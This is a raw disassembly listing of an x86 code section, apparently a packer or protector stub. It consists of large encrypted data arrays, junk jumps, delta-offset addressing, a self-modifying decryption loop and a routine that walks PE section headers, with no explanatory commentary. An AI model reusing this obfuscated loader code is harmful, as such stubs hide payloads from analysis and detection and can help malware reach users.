		dd 9B9F84E8h, 14486627h, 58C68BCBh, 81DA8B4Fh, 0FFA6E8FFh
		dd 17850FFFh, 0F000000h, 3BE9CBB7h, 64000000h, 84627862h
		dd 294D2BC9h, 698C478Dh, 10E971A6h, 0FD000000h,	764DA6BDh
		dd 37FED928h, 370DB02Dh, 0E97EF372h, 0FFFFFF7Bh, 505914E6h
		dd 929F8522h, 8289D57Fh, 59EBF81Fh, 8EB03FDh, 2	dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5A3754
; ---------------------------------------------------------------------------
		db 60h,	52h, 0Fh
; ---------------------------------------------------------------------------
		add	[esp-2], ecx
		pop	edx
		add	edx, 24h


loc_5A36E4:				; CODE XREF: .XComp0:005A371Bj
		mov	eax, [ebp+5F91785h]
		lea	eax, [ebp+5FCDF46h]
		mov	ecx, [eax]
		mov	ecx, [eax+1000h]
		mov	ecx, [edx]
		mov	cx, [edx-4]
		mov	[ebp+5FC80E3h],	ecx
		cmp	dword ptr [ebp+5F92B51h], 0
		jz	loc_5A3720
		pusha
		push	0
		call	dword ptr [ebp+5F91AEDh]
		popa
		jmp	loc_5A36E4
; ---------------------------------------------------------------------------


loc_5A3720:				; CODE XREF: .XComp0:005A370Bj
		mov	[edx-4], si
		ror	esi, 10h
		mov	[edx+2], si
		push	edx
		int	4		; - internal hardware -	OVERFLOW
					; Generated by INTO instruction	if OF flag is set.  If flag is not set,	INTO
					; is effectively a NOP.
		pop	edx
		mov	[ebp+5FC80DFh],	eax
		mov	esi, [ebp+5FC80E3h]
		ror	esi, 10h
		mov	[edx+2], si
		mov	esi, [ebp+5FC80E3h]
		mov	[edx-4], si
		popa
		mov	eax, [ebp+5FC80DFh]
		retn
; ---------------------------------------------------------------------------


loc_5A3754:				; CODE XREF: .XComp0:005A36D4j
		lea	edx, [ebp+5F9227Dh]
		mov	[ebp+5F92579h],	edx
		mov	[ebp+5F91151h],	edx
		inc	dword ptr [ebp+5F91151h]
		mov	byte ptr [ebp+5F91899h], 53h
		push	0FCB148D8h
		push	dword ptr [ebp+5F92719h]
		lea	eax, [ebp+5F93A6Ah]
		call	eax
		mov	[ebp+5F91AEDh],	eax
		lea	eax, [ebp+5FC7A08h]
		mov	[ebp+5F92491h],	eax
		jmp	loc_5A37EE
; ---------------------------------------------------------------------------
		pusha
		mov	esi, [esp+24h]
		add	esi, [esi+3Ch]
		mov	edi, [esp+28h]
		mov	edx, esi
		add	edx, 0F8h
		mov	cx, [esi+6]
		movzx	ecx, cx


loc_5A37B8:				; CODE XREF: .XComp0:005A37E3j
		cmp	ecx, 0
		jz	loc_5A37D7
		cmp	edi, [edx+0Ch]
		jg	loc_5A37DF
		sub	edx, 28h
		mov	eax, [edx+0Ch]
		mov	ecx, [edx+14h]
		sub	eax, ecx
		sub	edi, eax


loc_5A37D7:				; CODE XREF: .XComp0:005A37BBj
					; .XComp0:005A37E9j
		mov	[esp+1Ch], edi
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_5A37DF:				; CODE XREF: .XComp0:005A37C4j
		add	edx, 28h
		dec	ecx
		jnz	loc_5A37B8
		jmp	loc_5A37D7
; ---------------------------------------------------------------------------


loc_5A37EE:				; CODE XREF: .XComp0:005A3798j
		mov	edx, 9FD3Eh
		jmp	short loc_5A3815
; ---------------------------------------------------------------------------
		align 4
		dd 7 dup(0)
		db 0
; ---------------------------------------------------------------------------


loc_5A3815:				; CODE XREF: .XComp0:005A37F3j
		jmp	loc_5A3FB0
; ---------------------------------------------------------------------------
		jmp	loc_5A3FA9
; ---------------------------------------------------------------------------
		push	5FC84BAh
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	5FC85B3h
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	5FC8857h
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	5FC88D2h
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		db 32h
		dd 7B5A828Fh, 5D88BC53h, 7154887Bh, 6087BD48h, 0BB598B7Ch
		dd 56B11946h, 66A547AEh, 55B417BEh, 66A748AFh, 0B86314BEh
		dd 239A03C5h, 0DBE48D42h, 3EF41AF1h, 0A7A173CEh, 2C742404h
		dd 3CD0A94Ah, 504D2996h, 7A892FBEh, 34F54DBFh, 7A44B07Eh
		dd 0F1880BD4h, 0D0A99624h, 9E6F5067h, 695D8978h, 0CD2F01F7h
		dd 719238BFh, 9D89AD7Ch, 56h, 8592E867h, 17812996h, 41A916CBh
		dd 0ECC3AFA9h, 0EB26F920h, 351F12EAh, 0BBBD2F9Eh, 0C853E076h
		dd 2F924ED5h, 0CB0AB24Dh, 1026EB22h, 0E063BE8h,	1214DBD9h
		dd 102ACCECh, 3841D227h, 0B52398ECh, 41C526C8h,	0F4000000h
		dd 0E302E620h, 29C6A44Ch, 0F138F1E4h, 46CED75Dh, 0FE06C957h
		dd 0EF62F4F8h, 2995D98Ah, 0FB0EAD4Ah, 530F1FFAh, 0B7649DC5h
		dd 2F925BE6h, 59BB6623h, 0F46CDDCFh, 16FA3D1Fh,	75B45B99h
		dd 7EA09ABCh, 7CA55E8Ch, 39BE8098h, 0D47ADA1Eh,	99F0880Bh
		dd 4B70A995h, 8C3433BAh, 81881283h, 8A2F8955h, 1B8AC282h
		dd 0DB3136BBh, 1E24922Bh, 87769815h, 0CC41935Bh, 2B97B7A9h
		dd 2CAE17FDh, 0B98D3F09h, 72745695h, 0F01E84DFh, 0A2FFA61h
		dd 0E550F802h, 3FCFC669h, 88D245F5h, 80856651h,	7DBA5C0Dh
		dd 9BDE7DC4h, 53A99676h, 9676B5C8h, 917532A9h, 0AACF8294h
		dd 2FA99686h, 676E9F40h, 4AC277B2h, 59516824h, 2ADDFD5Ah
		dd 1B3BF6A3h, 508E5D2h,	0D936F8DCh, 19FB10AEh, 0BA5CC874h
		dd 45EC880h, 0FFB0F7DDh, 8273903Ah, 0F03D45A7h,	0BB86B343h
		dd 0E3739C44h, 8F288E70h, 0FBB44AFh, 1224F5F8h,	0FB043DEAh
		dd 0CB143AD1h, 0DD28912Eh, 5AED01D8h, 0A39CF91Bh, 5FFC45FAh
		dd 0A39CF91Eh, 1C5DFE9Bh, 99A39CF9h, 0F21125ECh, 64EF4AE4h
		dd 0A39CF919h, 0D903E996h, 0AC66063Eh, 0CBA56A8Ch, 8CC8D6A0h
		dd 0A8h, 0FF69FF56h, 69143FDEh,	0E6299685h, 2CFDF039h
		dd 0FA053CE5h, 24E906D5h, 5B0649EDh, 82F9306h, 840904E9h
		dd 8EEF2CD5h, 0B239A04h, 0D32ED31Eh, 850801ECh,	0AB342D4h
		dd 15DE08E6h, 16DB2A05h, 1EE7D4EBh, 0F3D93EF8h,	0A42674D9h
		dd 9E80EADh, 33D2F7E4h,	0D122E7C2h, 0B0FA9657h,	59373E37h
		dd 0D2000004h, 0DBFA22EFh, 0FDE81CF3h, 0D1F428DBh, 0E71DE8h
		dd 1BF92BDCh, 0F611B9E6h, 0C645A74Eh, 0F514B71Eh, 0C647A84Fh
		dd 5803B41Eh, 239A0125h, 0CE8B2DA2h, 787D8831h,	0A2DB78A1h
		dd 1F299685h, 151BCC62h, 65000004h, 30A55E8Ch, 0EFA8389h
		dd 991CEDD0h, 27C8ECC0h, 0FADC5161h, 20E93A41h,	3A3E3B0Eh
		dd 0E1182996h, 0BB29963Ah, 299639C1h, 9639E095h, 39BBBA29h
		dd 847B2996h, 0A548AF58h, 96B87164h, 9639C6B3h,	0A0BB86E9h
		dd 699639DDh, 0DD89AD5Ah, 0FEA0F4Bh, 96397904h,	0F4D7F669h
		dd 0FD3ADC15h, 0BDACD044h, 496A4FB5h, 816EA2A5h, 0C0BD6F92h
		dd 46D52CCDh, 639A1433h, 0D5C944A9h, 0CC5A0628h, 5A8F7864h
		dd 749F5A9Fh, 639A1509h, 0D2759986h, 69933A68h,	493C369Eh
		dd 5D243339h, 6B5441B9h, 50098C83h, 0A144BAC3h,	7F4A375Dh
		dd 0F3FF8E34h, 8C999A7Eh, 360h,	0E91BF6D9h, 0F72DE2FEh
		dd 0E319EAD0h, 0F62ED704h, 0E81CEBCFh, 44A8D74Ah, 18B621C3h
		dd 47A651F3h, 12BB1AC2h, 0DE9B49FBh, 9A003C3Dh,	7414B923h
		dd 23AA638Ch, 0D586BB86h, 299685A4h, 0A6D76421h, 23299685h
		dd 294D066h, 893FF1BBh,	7326A762h, 812D67A1h, 91689148h
		dd 962DF782h, 67877429h, 92AF9DE4h, 0C74D2Fh, 85C45FC3h
		dd 9C668EA0h, 0C19B882Eh, 3BE62B1Fh, 0C83A5ED9h, 38F1E425h
		dd 0D36D8BD4h, 0BC10F943h, 5F359A5Ch, 0D61539DAh, 0AED0FF4h
		dd 16FE23E0h, 4E0D2FD5h, 2399E02Bh, 0B419FBA8h,	37A31C78h
		dd 0EA0CDDD0h, 86FF6901h, 37FA97DBh, 33EF35Eh, 96F03158h
		dd 33E99629h, 9DEC89F0h, 84EC7A1Dh, 6B3EAF58h, 95C67BA6h
		dd 1D9DECE4h, 0A592A461h, 9A6F0B76h, 0A34CB323h, 49B6636Ah
		dd 0B6636AA5h, 0A0BB58A0h, 17A16ADDh, 0BD64AD5Ah, 0C901657h
		dd 0F4A528E1h, 9A9A4420h, 7582B774h, 7742B356h,	0A149A1DCh
		dd 0A8611E17h, 7A7B8A2Fh, 7F608F9Fh, 4E6F568Eh,	942BCEBFh
		dd 0FA4DE12Ah, 17A1498Bh, 825ECA5Ch, 229D448Dh,	92474EBBh
		dd 0F5A4AF7Ch, 3A1D9DCBh, 676D944Dh, 0D18241CAh, 11A4F1A8h
		dd 0CD947825h, 6E509D9h, 40CDF2E9h, 5EB65389h, 9A98A7ADh
		dd 0D3223495h, 16FE23EAh, 0ED2E87B4h, 11A5378Ch, 0A1B81C09h
		dd 0CBF2ED16h, 2ACF183Eh, 0D56CFDA2h, 0A51D3346h, 21F3B011h
		dd 0A31C48C4h, 0DDCD138h, 81F66E9h, 66F011A5h, 209B34Ch
		dd 3C3DDE8Bh, 0B911A507h, 25DC05CCh, 0A50783F6h, 8130011h
		dd 11A50775h, 5AFC35F2h, 89473EDDh, 0D0E717A1h,	8EEF2CEDh
		dd 0B0BA885h, 7E2D31Eh,	35D92A90h, 0E019C0BDh, 0B7DC7AECh
		dd 4FDF0EB5h, 319C3FA0h, 7BCB1CBBh, 0CC50D6Fh, 0C0B81CC5h
		dd 257FB9A1h, 9C3BF519h, 47D3DA33h, 7C5089D1h, 0A3475DADh
		dd 7AA69064h, 0EDC07243h, 13DE1C72h, 0F40B3603h, 9E4B42CBh
		dd 9EC4D578h, 0D20111A4h, 300EAE9h, 9B12D792h, 23DE03CEh
		dd 0AB9A85F8h, 3CD3FB05h, 1FEE0B9h, 0A12C16ABh,	96B81D30h
		dd 0DCAFC64Dh, 8D2D05ABh, 4B74737Ah, 20DCBC2h, 49EE0AD4h
		dd 0DC1A63F0h, 0EA9705ABh, 0DDA9B544h, 6EC5F403h, 13C4h
		dd 40A01700h, 0EB0BDECFh, 0A291E855h, 70D2996h,	73000000h
		dd 969F91E8h, 69FF5829h, 364B0831h, 0AB2F9307h,	0F563F7FEh
		dd 0FFE774ADh, 0E529932Ah, 9419F6DAh, 0DCC931C5h, 0F317C5FFh
		dd 31343DBEh, 0BCh, 0C5779A35h,	0AB51BE22h, 0BF659E4Ch
		dd 0AA52B318h, 0B4689F4Bh, 4874235Eh, 14BA1DBFh, 3BA245F7h
		dd 0EAF16CEh, 42F7DDFFh, 99FD6811h, 0C080E523h,	83169FFh
		dd 0DF24C631h, 785FC4Fh, 0DFA2F93h, 9F18E188h, 4D30CB3Ah
		dd 0CA239A03h, 0C63DF7DDh, 752B3DBAh, 951385E1h, 0CF3AA136h
		dd 0BC6931Ah, 0A05E9D6h, 0F340D683h, 933CEE68h,	0EFCCB929h
		dd 0BEF332DFh, 412B3A3Bh, 0BA000000h, 0A342FA17h, 0C530D43Bh
		dd 993CE023h, 0C82FD530h, 0E341E324h, 3EC9F1AEh, 0EFDDF06h
		dd 3DCCEFD6h, 0EFFE007h, 104BECD6h, 2399FD6Dh, 8AC385EAh
		dd 0Ch,	0DA320FB6h, 388D93C0h, 0F83ED012h, 29AC658Ch, 696CA13Eh
		dd 23AA5F7Eh, 7C719A44h, 35B84F7Bh, 787D8A32h, 3ABB4A6Fh
		dd 75788B2Dh, 0CCC14E72h, 3C81681Bh, 3C890000h,	0E1895124h
		dd 4C181h, 0E9830000h, 240C8704h, 243C895Ch, 218568h, 24348900h
		dd 0E3BE5655h, 0F707C93Fh, 43F681D6h, 89B4DBE5h, 0CD815EF5h
		dd 387459DDh, 0ED81EDD1h, 38823C95h, 545DEF89h,	8324348Bh
		dd 895504C4h, 0EF8957FDh, 5F087E89h, 24348B5Dh,	81E68956h
		dd 4C6h, 4C68300h, 5C243487h, 5F2434FFh, 4C481h, 5BE90000h
		dd 0B8FFFCF5h, 243FAE3h, 0BB6E1DD3h
; ---------------------------------------------------------------------------
		push	eax


loc_5A3FA9:				; CODE XREF: .XComp0:005A381Aj
		mov	eax, 5FC8938h
		add	eax, ebp


loc_5A3FB0:				; CODE XREF: .XComp0:loc_5A3815j
		mov	ecx, eax
		jmp	short $+2
		jmp	loc_5A4777
; ---------------------------------------------------------------------------
		jmp	loc_5A4770
; ---------------------------------------------------------------------------
		push	5FC8AEEh
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	5FC8C9Eh
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	5FC8D56h
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	5FC8E65h
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	5FC8FD1h
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		dd 79AB6689h, 679D724Eh, 73A95A80h, 669E6754h, 78AC5B7Fh
		dd 9438679Ah, 0C826D173h, 9736A143h, 0C22BCA72h, 8E2B994Bh
		dd 99FBACCDh, 0FDC42923h, 0C62EDB02h, 80C3EA9Ah, 0E45AFCFCh
		dd 968591E8h, 89665129h, 9EDF7284h, 70299685h, 2996860Ch
		dd 779239C6h, 85E891C2h, 0B8652996h, 85C6B396h,	0DAA02996h
		dd 0B2299685h, 0A99685C3h, 0B8517C83h, 0DE709F3Fh, 13CE1482h
		dd 8F93AE08h, 15CCB9AFh, 1BC643AAh, 3AA03BA4h, 0DC15C4C9h
		dd 0B517003Ah, 10B4E5C7h, 8170865Bh, 0E994BF5Ah, 66A39D0Ah
		dd 70C970B9h, 9D0A9AE3h, 0C46A17A3h, 41765E1Bh,	77EBBC5Ch
		dd 0A13733C3h, 9163A247h, 94957C56h, 5C854CB0h,	0BEBF5CA5h
		dd 3BA39D80h, 95A5A84Eh, 0CBA996A6h, 0C818A34h,	917E625Dh
		dd 2B88757Dh, 3EF4929Ch, 0F470757Eh, 9E000005h,	0AF16CE43h
		dd 0F9DC000Fh, 0E51034CFh, 0FCDB0104h, 2F0537D0h, 0E225C5F2h
		dd 0DA319B3Ah, 0F118C322h, 0CA43AC4Bh, 4C07B012h, 2399FB31h
		dd 8C7739AEh, 0E099BA63h, 5D299685h, 5CB069A0h,	0B758C4F9h
		dd 568F9F24h, 4AC32C93h, 937C6443h, 6C824722h, 96449DD9h
		dd 8EDCB329h, 18CC419Eh, 0F8FD10ADh, 0AB0DCEEFh, 881C9158h
		dd 12BBB19Dh, 25EA28DEh, 12D78FE1h, 1AEBD0E7h, 0F7DD3AF4h
		dd 0F6CD0632h, 877C9254h, 4D2F4CD5h, 20B716A1h,	70864BBCh
		dd 530B4h, 46CE8E00h, 9466DCF7h, 79789E61h, 0EF8AC954h
		dd 6C299651h, 7ABF7AAFh, 9651A0D9h, 0CE601D29h,	52086E15h
		dd 59842996h, 963A3DB0h, 3AA57479h, 0D7F7693h, 832ECFAh
		dd 0E720CC33h, 0E42333E6h, 520138F6h, 29965127h, 9857F7A4h
		dd 0CD36A437h, 21D811C8h, 0E0D53A96h, 0A015F4D7h, 359700C9h
		dd 0CFF640D6h, 4B51FEEh, 577B8A10h, 1E301B24h, 0FB770211h
		dd 7F42995h, 0CF3AA186h, 0D82B8D2Ah, 0F4D9FC36h, 0FFD59419h
		dd 0A64706C8h, 0D7E6CE66h, 883B4666h, 0DF4B1737h, 81B86183h
		dd 95A8A7D2h, 0D7772429h, 0AB56B718h, 0A8B4C556h, 74312995h
		dd 576009E2h, 6D7C9271h, 0B988BC4Fh, 2995A8BCh,	905A943Ah
		dd 0F431BDF2h, 7087B277h, 6237BE4Fh, 7E5613CCh,	0F9AC36Bh
		dd 2F3BDB20h, 97E271B9h, 22299600h, 4C3CCDAh, 611E80A0h
		dd 939B71A8h, 0FAFD3CA4h, 0CADF9AB9h, 9F5C2995h, 9267C46Ah
		dd 3A2E5B3Ah, 2ACC82E6h, 8EA04F27h, 0CE2DDA2Fh,	0B0FF4601h
		dd 44D3E2D3h, 0EE000004h, 0DF063ED3h, 9EC10FFh,	0D50024DFh
		dd 0CEB11F4h, 1FF527E0h, 0F215B5E2h, 0CA41AB4Ah, 108B312h
		dd 3AD3FCDBh, 0FC17E002h, 2399F981h, 8CA749FEh,	9D6FAA63h
		dd 91AD791Eh, 0CE17372Dh, 0BBFED62Bh, 0D53D4A84h, 0F5B3C655h
		dd 73302995h, 45AB14E3h, 0B2B58CA6h, 0B223EE02h, 40E427C5h
		dd 9613C4F1h, 23571E29h, 0F7D52996h, 83F2A114h,	74299603h
		dd 9F6486E2h, 0D57F964Dh, 5C95F8CBh, 16E12FA5h,	0A3FFE7CEh
		dd 0A65BA693h, 49865C2Eh, 5AF9777Fh, 2995971Fh,	0FC4FDF9Ch
		dd 2F8EC90Ah, 36A747B0h, 35B87196h, 4B2AD264h, 53A069A0h
		dd 0B0FC9998h, 8C847182h, 36000003h, 27CE769Bh,	319448C7h
		dd 1DC87C87h, 349349BCh, 0C75D7F88h, 5AAD0D4Ah,	729943A2h
		dd 49C02BCAh, 828B3493h, 94BF785Ah, 2399F8E9h, 0CE3F0166h
		dd 6E808B31h, 8AAF5E7Fh, 39BC4F6Dh, 5415CE60h, 67877E6Bh
		dd 7BA66788h, 6C253299h, 5910857Eh, 0CB285173h,	68DAABE9h
		dd 6688B1AEh, 0D200E77Dh, 0EB28F5DAh, 2995C192h, 22D7120Fh
		dd 0DDD03395h, 0E229930Ch, 431DE24Ch, 44D2F99h,	2DDh, 8591E8DEh
		dd 0AC0F2996h, 2230A45Dh, 7EEB7F98h, 0B9416B41h, 0F0595AEEh
		dd 0CC33D45Eh, 0A251E51Eh, 0E0C7CE3Bh, 0B890CFDh, 5B3666Eh
		dd 179E714Dh, 0DFAD6A42h, 0CCC14873h, 0C800D41Dh, 0E3A641F7h
		dd 0C10DEC02h, 0FA1900EBh, 2995C37Fh, 1CEFCDFCh, 0C009C099h
		dd 0ED99B319h, 99D6A1E6h, 0BA36BB75h, 7B4D2F82h, 56h, 7A9539C6h
		dd 0AA90A673h, 83169FFh, 0B83DCCEFh, 33E04DE1h,	2F8F8C83h
		dd 0A142918Eh, 5BB0FFB1h, 27D4B5Ah, 0C8270000h,	8C349349h
		dd 54766183h, 816A8DAFh, 55756084h, 79B88AB2h, 0CF75923Ah
		dd 9F45C628h, 0D0749538h, 9F45C825h, 0A6D78435h, 232399F7h
		dd 0B0890AAEh, 0BD526E89h, 7ACD6138h, 29968607h, 34A748AFh
		dd 0A747828Bh, 25A7524Fh, 62C215D9h, 0EDF61808h, 0FE26E30Ah
		dd 9617F6D7h, 924A9004h, 41648833h, 0F40CE0E4h,	0C4659752h
		dd 0F49BDE7Dh, 6B182995h, 18C32CCBh, 886154B5h,	3C349841h
		dd 984445B5h, 0E6D11A3Ch, 0F3E10308h, 1319FB46h, 0D868A01Bh
		dd 475D87Eh, 812995D9h,	0C4261184h, 0C11D9A3Fh,	2592474Eh
		dd 975243C6h, 1A8DBD77h, 409E19C0h, 0B5C22BCBh,	54CF013h
		dd 2995D870h, 5179F761h, 6D6A3FB6h, 0CD74BD50h,	0D896E774h
		dd 8E212995h, 99273D5Fh, 0CE601D81h, 7D50B261h,	0B1BB2F8Fh
		dd 831E0885h, 6FAA5F45h, 75A76888h, 9E684094h, 1FC1C921h
		dd 0DD00E00Fh, 0D0C50CFFh, 0D82D8E29h, 3F204D5h, 5D0114D8h
		dd 517F55C0h, 0AC121598h, 14F87E42h, 9CC87607h,	0DE36F323h
		dd 2C73E9Bh, 0EFFE0D7h,	0A33CD287h, 5D203B06h, 0DA239CEFh
		dd 0EA092Dh, 8E189203h,	0AB12AD54h, 0D1F0765Eh,	4830C00Dh
		dd 0A8CA89A6h, 6E29965Ah, 6F58893h, 0C801DA4h, 0E6CEF503h
		dd 87A7544Ah, 7E61B26Fh, 8CBEF435h, 1118263h, 14BB0000h
		dd 40A047FDh, 20CA2DCFh, 359641E3h, 21C92CD0h, 0ADE43EE6h
		dd 339CEEEh, 0EB11FAE4h, 0F428E10Ch, 0FB21ECD1h, 8AF320D9h
		dd 72399F6h, 638C9E62h,	67886FAAh, 37BE4774h, 7326A762h
		dd 6D5F0AE3h, 143EDEF5h, 89688EEEh, 0B4537764h,	923BC47Dh
		dd 2512DB7Bh, 6B4C41C4h, 5306877Eh, 65537E6Ch, 8742179Eh
		dd 0ABB78E06h, 79C079F3h, 95CD9FDAh, 0AE8A2A29h, 70465423h
		dd 7E7D918Eh, 2E369E50h, 0AD6475Eh, 5479789Eh, 25A86787h
		dd 0BD84BD74h, 99DB9E57h, 5DFEDFD2h, 2995F01Ch,	0F04AEC99h
		dd 2FC84D1Fh, 370A4Dh, 0EAD50000h, 4CF20401h, 968592E8h
		dd 86675029h, 6C530687h, 5910857Eh, 749936B5h, 6B5067D0h
		dd 0B046139Ah, 243Fh, 5E7D7A00h, 0CA6F2AABh, 9685F089h
		dd 9EB06D29h, 8B31CE98h, 0C22A0D80h, 0E76A8C45h, 29968592h
		dd 0A65EAF10h, 3E81B788h, 13h, 0AF58847Bh, 0AFCB6B3Eh
		dd 91EC27D2h, 0E299685h, 8C37FD11h, 3E29AC65h, 7E696CA1h
		dd 4423AA5Fh, 7B7C719Ah, 3235B84Fh, 6F787D8Ah, 2D3ABB4Ah
		dd 7275788Bh, 1BCCC14Eh, 81E38953h, 4C3h, 4EB8100h, 87000000h
		dd 895C241Ch, 3C682434h, 8900003Dh, 8956243Ch, 4C681E6h
		dd 83000000h, 348704EEh, 0C895C24h, 3BE5624h, 8905FC8Ah
		dd 24348BF7h, 4C481h, 15680000h, 89000047h, 4812424h, 424h
		dd 0EC835900h, 243C8904h, 8B08418Fh, 8950240Ch,	405E0h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A47B5


loc_5A475A:				; CODE XREF: sub_5A47B5-4j
		add	eax, 4
		xchg	eax, [esp+26h+var_28+2]
		pop	esp
		push	[esp+22h+var_24+2]
		pop	edi
		add	esp, 4
		jmp	loc_5734FA
; END OF FUNCTION CHUNK	FOR sub_5A47B5
; ---------------------------------------------------------------------------
		db 4, 0B7h, 0B0h
; ---------------------------------------------------------------------------


loc_5A4770:				; CODE XREF: .XComp0:005A3FB9j
		mov	eax, 5FC9107h
		add	eax, ebp


loc_5A4777:				; CODE XREF: .XComp0:005A3FB4j
		mov	edx, ecx
		call	near ptr loc_5A4780+4
		sar	dword ptr [edx], cl


loc_5A4780:				; CODE XREF: .XComp0:005A4779p
		or	eax, 593C9EA9h
		add	di, 8FA6h
		add	ecx, 6303h
		mov	edx, 189Bh
		mov	eax, edi
; START	OF FUNCTION CHUNK FOR sub_5A47B5


loc_5A4797:				; CODE XREF: sub_5A47B5+4Cj
		mov	ebx, [ecx]
		mov	esi, 0FA9C255h
		sub	ebx, 3E38F22Ah
		call	sub_5A47B5
		pop	ebx
		mov	byte ptr [edi+0D6612EDh], 1Dh
		js	short loc_5A475A
		push	26h
; END OF FUNCTION CHUNK	FOR sub_5A47B5

; =============== S U B	R O U T	I N E =======================================



sub_5A47B5	proc near		; CODE XREF: sub_5A47B5-11p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 005734FA SIZE 0000004D BYTES
; FUNCTION CHUNK AT 0057377D SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00573A28 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00573E6E SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0057554E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0057627D SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00576738 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0057796E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0057821B SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00579014 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00579AE3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00579C68 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0057AD54 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0057ADE1 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0057B167 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0057B1F0 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0057C788 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0057CA46 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0057D591 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0057D675 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0057DBB3 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0057E6C0 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0057E725 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0057EB64 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0057FAF4 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00580349 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058053D SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00580585 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005807A3 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00581160 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 0058142D SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00581F1B SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005822A1 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00582702 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058352F SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A475A SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A4797 SIZE 0000001E BYTES

		clc
		pop	edi
		xor	ebx, 604AA2D5h
		mov	si, 0E2B7h
		sub	ebx, 380E96h
		mov	[ecx], ebx
		pusha
		mov	di, cx
		movsx	eax, dx
		popa
		sub	ecx, 4
		jo	loc_5A47E6
		jge	loc_5A47E6
		or	eax, 6D79C2ADh


loc_5A47E6:				; CODE XREF: sub_5A47B5+1Fj
					; sub_5A47B5+25j
		dec	edx
		jnz	loc_5A47FE
		jmp	loc_5A4819
; ---------------------------------------------------------------------------
		dw 3656h
		dd 0D6530C9Bh, 0C68DEE39h
		db 0E9h, 0FAh
; ---------------------------------------------------------------------------


loc_5A47FE:				; CODE XREF: sub_5A47B5+32j
		mov	si, dx
		jmp	loc_5A4797
; ---------------------------------------------------------------------------
		dw 0AC5Fh
		dd 0D8A6CE15h, 5A00E84Dh, 3816E60Fh, 0DF1DE1Fh
		db 0EEh
; ---------------------------------------------------------------------------


loc_5A4819:				; CODE XREF: sub_5A47B5+38j
		jmp	loc_5A496F
; ---------------------------------------------------------------------------
		dw 9B19h
		dd 0ECE7543Fh, 5893DA95h, 0CFDF0671h, 54FDBEB6h, 0A436365Dh
		dd 0D500BCECh, 0D352C55Dh, 94A4D676h, 0C44100FCh, 0CB50C1AEh
		dd 0AC325277h, 0BF009CACh, 0ADFC6C46h, 36597390h, 0E275D6A3h
		dd 90BD9C72h, 0E693DD00h, 92A79B8Ch, 0ABDD64A5h, 8F9792A7h
		dd 5CFC7A91h, 0E496B9F9h, 0E4B59BB1h, 92B69F47h, 0F694B6E5h
		dd 0EBB59EBDh, 0D0EC96B3h, 0BF999C93h, 5CFD7B97h, 0F49389F5h
		dd 0CD00EDAFh, 94A6E3B2h, 0C3B5D4E5h, 2D445700h, 29B0F362h
		dd 58AEh, 6000h, 6400h,	2 dup(0)
		dd 400h, 9400h,	500h, 100h, 0A2800h, 200h, 72655300h, 65636976h
		dd 63615020h, 32206Bh, 21h dup(0)
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_5A496F:				; CODE XREF: sub_5A47B5:loc_5A4819j
		jmp	loc_5A7674
; ---------------------------------------------------------------------------
		push	5FC965Ah
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	5FC979Bh
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	5FC9893h
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	5FC997Ah
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	5FC9A91h
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	5FC9BD9h
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	5FC9CBCh
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	5FC9D84h
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	5FCA397h
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	5FCA428h
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	5FCA644h
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	5FCAB66h
		jmp	loc_5734FA
